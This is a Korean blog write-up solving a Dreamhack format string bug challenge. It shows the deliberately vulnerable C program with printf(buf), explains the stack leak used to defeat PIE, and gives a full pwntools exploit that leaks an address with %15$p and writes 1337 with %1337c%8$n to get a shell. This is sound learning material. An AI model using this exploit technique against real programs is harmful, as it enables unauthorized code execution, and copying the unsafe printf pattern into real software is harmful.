Hacking/Dremahack 문제풀이

[ Dreamhack ] Format String Bug

미역줄기줄기 2024. 3. 1. 20:49
728x90

 

 

보호 기법 & 문제 코드

 

amd64 아키텍처 -> sfp는 8바이트겠군

canary 없음 -> sfp랑 ret 아무렇게나 덮어써도 괜찮다.

NX 적용됨 -> 셸코드 사용 어렵

PIE -> 바이너리가 실행되는 메모리 주소가 랜덤화

 

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

  • changeme가 1337이면 셸을 딸 수 있다.
  • get_string 함수를 통해 0x20만큼 버퍼에 입력 받는다.
  • 사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하므로 pinrtf(buf)에서 포맷 스트링 버그가 일어날 수 있겠다. 

 


Exploit code

 

1. changeme 주소 구하기

changeme의 값을 변경하기 위해선 해당 변수의 주소를 알아내야 한다. 바이버리에서 PIE 보호 기법이 적용되어 있으므로, 전역 변수인 changeme의 주소는 실행할 때마다 바뀐다. 따라서 PIE base 주소를 먼저 구하고, 그 주소를 기준으로 changeme의 주소를 계산한다.

 

메인을 디스어셈블해서 printf 함수가 호출되는 오프셋을 찾고 해당 위치에 bp를 건다. run으로 프로그램을 실행하면 get_string함수에서 입력을 받는다. 특정한 값을 입력하면 printf 함수를 호출하기 직전에 bp가 걸린다.

 

 

이때 rsp를 출력해보면, rsp+0x48 위치에 0x555555555293이 저장되어 있다.

 

 

(48인 이유. print  0x7fffffffde00 - 0x7fffffffddc0 = 64 임 64는 16진수로 0x40 그렇다면 0x555555555293은 0x48 차이난다.)

 

vmmap으로 확인해보면 해당 값은 fsb_overwrite 바이너리가 매핑된 영역에 포함되는 주소이므로 이 주소를 사용하면 PIE base 주소를 구할 수 있다. 

 

 

 

rsp-0x48에 저장되어 있는 주소와 PIE base 주소 간의 오프셋은 

이렇게 구할 수 있다.

 

💡 x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달한다. 예를 들어 printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9); 를 호출하면 1, 2, 3, 4, 5, 6, 7, 8, 9 는 각각 RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18]에 전달된다. 

 

PIE base 주소를 구할 주소를 가진 [RSP+0x48]은 포맷 스트링의 15번째 인자이므로, %15$p로 읽을 수 있다.

%15$p를 입력해서 출력한 주소 값에서 0x1293을 빼면 PIE base 주소가 된다. PIE base 주소에 changeme의 오프셋을 더하면 changeme의 주소를 구할 수 있다. 

 

 

2. changeme를 1337로 설정하기

get_string으로 changeme의 주소를 스택에 저장하면, printf 함수에서 %n으로 changeme의 값을 조작할 수 있다. 1337 바이트의 문자열을 미리 출력하고, %n 으로 changeme에 값을 쓰면 1337로 설정할 수 있다.

 

changeme 변수에 1337을 쓰려면 1337바이트 길이의 문자열을 먼저 출력해야 한다. 입력받는 길이를 0x20으로 제한하므로, 1337개의 문자열을 직접입력할 수 없다. 이때 포맷 스트링의 width 속성을 사용할 수 있다. 

 

포맷 스트링의 width https://minvers0919.tistory.com/32 여기에 나와있다. 

 

changeme 변수의 주소를 알고, 1337의 길이를 갖는 문자열도 출력할 수 있으므로, 다음과 같은 포맷 스트링을 구성하면 changeme의 값은 1337로 쓸 수 있다. 

출처: dreamhack

 


Exploit code

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host3.dreamhack.games", 12302)
elf = ELF('./fsb_overwrite')

# [1] Get Address of changeme
p.sendline(b'%15$p') # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + elf.symbols['changeme']

slog('code_base', code_base)
slog('changeme', changeme)

# [2] Overwrite changeme
payload = b'%1337c' # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += b'%8$n' # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += b'A'*6 # 8의 배수를 위한 패딩입니다.
payload = payload + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.

p.sendline(payload)

p.interactive()